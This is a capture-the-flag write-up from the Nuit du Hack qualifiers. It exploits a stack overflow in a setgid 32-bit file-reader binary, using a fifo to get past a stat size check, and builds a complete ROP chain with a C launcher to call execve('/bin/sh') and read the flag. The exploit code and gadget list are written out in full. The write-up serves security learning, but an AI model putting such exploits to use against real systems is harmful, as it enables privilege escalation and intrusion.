The qualifications for the Nuit du Hack CTF were held this weekend. It proposed there pwnable challenges. That one involved an ELF 32-bit binary with a buffer overflow on the stack that is used to push a ROP chain to execute a shell and finally get to flag.

Basic Information

From the organizers:


Hi, I have secured my file reader so that you won't be able to pwn it. You
know, I have pretty good skills in security.

Don't even try to beat me!

The challenge is available at


Exploit Me

The provided connection information must be used to connect with SSH to the machine:

$ ssh [email protected] -p 55552
[email protected]'s password:
[email protected]:~$ uname -a
Linux 22f353d2ab05 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt20-1+deb8u3
(2016-01-17) x86_64 GNU/Linux
[email protected]:~$ ls -la
total 752
dr-xr-xr-x 1 root  root            68 Mar 11 11:04 .
drwxr-xr-x 1 root  root            32 Mar 11 11:04 ..
-rwxr-xr-x 1 chall chall            1 Apr  2 18:27 .bash_logout
-rw-r--r-- 1 chall chall            7 Apr  2 17:46 .bashrc
-rw-r--r-- 1 chall chall          675 Mar 11 11:04 .profile
-r--r----- 1 root  chall_pwned     29 Mar 11 11:03 flag
-r-xr-sr-x 1 root  chall_pwned 750269 Mar 11 11:03 pwn

The binary has the setgid flag set so that it can access flag.

The host has a limited set of installed package; there is no debugger and python is not installed. Let’s copy it locally so that we can debug it. The file is an ELF 32-bit, not stripped and statically linked. The only security feature enabled is NX:

$ file pwn
pwn: setgid ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux),
statically linked, for GNU/Linux 2.6.24,
BuildID[sha1]=acc530c91c4841537384866623e6dc50074105c8, not stripped

$ checksec --file pwn
RELRO           STACK CANARY      NX            PIE             RPATH
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH
No RUNPATH   pwn


The binary need a file passed as argument:

$ ./pwn 
Usage ./prog <filename>
$ ./pwn <(echo toto)
The file has been saved successfully

The file is not really saved anywhere, its content is just copied on the stack of the binary:

[0x08048d2a]> pdf @main
0x08048f71      8b450c         mov eax, dword [ebp+arg_ch] ; [0xc:4]=0
0x08048f74      83c004         add eax, 4
0x08048f77      8b00           mov eax, dword [eax]
0x08048f79      890424         mov dword [esp], eax
0x08048f7c      e885ffffff     call sym.safe_save
[0x08048d2a]> pdf @sym.safe_save
0x08048f0f      8b4508         mov eax, dword [ebp+arg_8h] ; [0x8:4]=0
0x08048f12      890424         mov dword [esp], eax
0x08048f15      e82affffff     call sym.check_size
0x08048f1e      8d85f8efffff   lea eax, dword [ebp - local_1008h]
0x08048f24      89442404       mov dword [esp + 4], eax
0x08048f28      8b4508         mov eax, dword [ebp+arg_8h] ; [0x8:4]=0
0x08048f2b      890424         mov dword [esp], eax
0x08048f2e      e841ffffff     call sym.save_in_buffer
[0x08048d2a]> pdf @sym.save_in_buffer
0x08048ede      c74424080001.  mov dword [esp + 8], 0x100  ; [0x100:4]=0x554e47
0x08048ee6      8d85effeffff   lea eax, dword [ebp - local_111h]
0x08048eec      89442404       mov dword [esp + 4], eax
0x08048ef0      8b45f4         mov eax, dword [ebp - local_ch]
0x08048ef3      890424         mov dword [esp], eax
0x08048ef6      e8557b0200     call sym.__read

From the main function, safe_size is called. It starts by checking the size of the file passed as argument. If it is bigger than 0x100 bytes, it exits. Otherwise it continues by calling save_in_buffer with the address of the buffer. save_in_buffer reads the file and puts its content in the provided buffer through the strncat.


The function check_size calls the stat function to get the size of the provided file. There are at least two possibilities to trick stat into believing that the file is small:

  • race condition: create a small file and increase its size after stat is called
  • use a fifo

The latter is easier to setup and more reliable. I usually tend to work with fifo when I debug binaries because I find that this is easier to interact with binaries that way:

$ gdb -q pwn
Reading symbols from pwn...(no debugging symbols found)...done.
gdb-peda$ r fifo
Starting program: pwn fifo

From another terminal:

$ python -c "print('A'*4200)" > fifo

Back in the debugger:

Program received signal SIGSEGV, Segmentation fault.
EAX: 0x25 ('%')
EBX: 0x80481b0 (<_init>:  push   ebx)
ECX: 0x80ef4d4 --> 0x0 
EDX: 0x25 ('%')
ESI: 0x0 
EDI: 0x80ee00c --> 0x8067e60 (<__stpcpy_sse2>:  mov    edx,DWORD PTR [esp+0x4])
EBP: 0x41414141 ('AAAA')
ESP: 0xffe5af00 ('A' <repeats 72 times>)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
Invalid $PC address: 0x41414141
0000| 0xffe5af00 ('A' <repeats 72 times>)
0004| 0xffe5af04 ('A' <repeats 68 times>)
0008| 0xffe5af08 ('A' <repeats 64 times>)
0012| 0xffe5af0c ('A' <repeats 60 times>)
0016| 0xffe5af10 ('A' <repeats 56 times>)
0020| 0xffe5af14 ('A' <repeats 52 times>)
0024| 0xffe5af18 ('A' <repeats 48 times>)
0028| 0xffe5af1c ('A' <repeats 44 times>)
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()

We control eip! 4128 bytes are needed to overwrite it:

$ python2 -c 'print "A"*4124 + "BBBB"' > fifo

Program received signal SIGSEGV, Segmentation fault.
EAX: 0x25 ('%')
EBX: 0x80481b0 (<_init>:	push   ebx)
ECX: 0x80ef4d4 --> 0x0 
EDX: 0x25 ('%')
ESI: 0x0 
EDI: 0x80ee00c --> 0x8067e60 (<__stpcpy_sse2>:	mov    edx,DWORD PTR [esp+0x4])
EBP: 0x41414141 ('AAAA')
ESP: 0xffbece60 --> 0xffbed000 --> 0x3 
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
Invalid $PC address: 0x42424242
0000| 0xffbece60 --> 0xffbed000 --> 0x3 
0004| 0xffbece64 --> 0xffbecf04 --> 0xffbed0c7 ("/home/abe/ctf/ndh/secure_file_reader/pwn")
0008| 0xffbece68 --> 0xffbecf10 --> 0xffbed0f5 ("XDG_VTNR=1")
0012| 0xffbece6c --> 0x80481b0 (<_init>:	push   ebx)
0016| 0xffbece70 --> 0x0 
0020| 0xffbece74 --> 0x80ee00c --> 0x8067e60 (<__stpcpy_sse2>:	mov    edx,DWORD PTR [esp+0x4])
0024| 0xffbece78 --> 0x8049710 (<__libc_csu_fini>:	push   ebx)
0028| 0xffbece7c --> 0x804915a (<__libc_start_main+458>:	mov    DWORD PTR [esp],eax)
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()


ret2libc is not possible because the functions system and exec, and the libc is not linked with it (remember that the binary is statically linked). We will have to do a ROP chain. ROPgadget is a good tool to find ROP gadgets in binaries. The different kind of ROP chain could be built, such as executing the mprotect syscall to remove NX and then jump on a shellcode on the stack. By looking at the only gadget with int 0x80 to trigger the syscall, we can see that it doesn’t end with a return. Therefore we only can execute one syscall and that’s it. The only one feasible is execve to pop a shell. As syscalls are fastcall, argument must be supplied in registers:

  • eax: syscall number => 11
  • ebx: pointer to /bin/sh => need to find one
  • ecx: pointer to argv[] => useless, put 0
  • edx: pointer to envp[] => useless, put 0

Finding /bin/sh

The /bin/shstring could be passed in the payload and then the value of esp could be gathered to reference it, but no such gadget was available. One possibility would be to push with the ROP chain two words /bin and /sh\0 into a fixed location such as the .datasegment. Or to provide it through a environment variable. I chose the latter possibility. A pointer to the environment variable is available here:

gdb-peda$ x/wx &environ
0x80ef54c <environ>:	0xffbecf10
gdb-peda$ x/wx environ
0xffbecf10:	0xffbed0f5
gdb-peda$ x/s *environ
0xffbed0f5:	"XDG_VTNR=X"

0x80ef54c is the address containing a pointer (0xffbecf10) to the first environment variable (0xffbed0f5).

To control the environment variables passed to a program, we need to create a launcher that will clear them all and add our /bin/sh. As python is not available, let’s do it in C:

#include <stdlib.h>
#include <unistd.h>

int main(void)
  char *env[2];
  char *argv[3];
  argv[0] = "/home/chall/pwn";
  argv[1] = "path/to/fifo";
  argv[2] = NULL;
  env[0] = "s=/bin/sh";
  env[1] = NULL;
  execve("/home/chall/pwn", argv, env);

ROP chain

Here is the python script that generate the payload which is then cast into the fifo:

#!/usr/bin/env python2

from pwn import p32

environ_addr = 0x80ef54c

payload = 'A' * 4124

# set ebx = addr /bin/sh in first env var
# ecx is also set
payload += p32(0x08072731) # pop ecx ; pop ebx ; ret
payload += p32(0xffffffff)
payload += p32(0xffffffff)
payload += p32(0x080de209) # : inc ebx ; ret
payload += p32(0x080ddf6c) # : inc ecx ; ret
payload += p32(0x0807270a) # : pop edx ; ret
payload += p32(environ_addr)
payload += p32(0x080da8e6) # : mov edi, dword ptr [edx] ; ret
payload += p32(0x080483ae) # : pop ebp ; ret (just to have a valid address in edx)
payload += p32(environ_addr)
payload += p32(0x08050b60) # : mov eax, edi ; mov edx, ebp ; pop edi ; pop ebp ; ret
payload += p32(0x41414141) * 2
payload += p32(0x080eaa2d) # : add ebx, dword ptr [eax] ; add dword ptr [edx], ecx ; ret

# to pass by the 's=' in the env var
payload += p32(0x080de209) # inc ebx ; ret
payload += p32(0x080de209) # inc ebx ; ret

# set eax
payload += p32(0x080beb26) # pop eax ; ret
payload += p32(0xf5fed208) # hex(0xffffffff - 0xa012e03+1 + 11)
payload += p32(0x080e5e43) # add eax, 0xa012e03 ; ret

# set edx
payload += p32(0x0807270a) # pop edx ; ret
payload += p32(0xffffffff) #
payload += p32(0x0805d6f7) # inc edx ; ret

# syscall
payload += p32(0x08049501) # int 0x80

print payload


The /tmp directory was writable but not readable, it was therefore a good place to hide our files. Here are the steps need to finally exploit the binary:

  • create a directory /tmp/something on the remote machine
  • generate the payload with the python script
  • compile the launcher
  • scp both files to /tmp/something
  • open two ssh connections:
    1. create a fifo /tmp/something/fifo and cat payload > fifo
    2. execute the launcher
[email protected]:~$ /tmp/something/launch
The file has been saved successfully
$ ls
flag  pwn
$ cat flag

It would have been easier to push /bin/sh into the .data segment…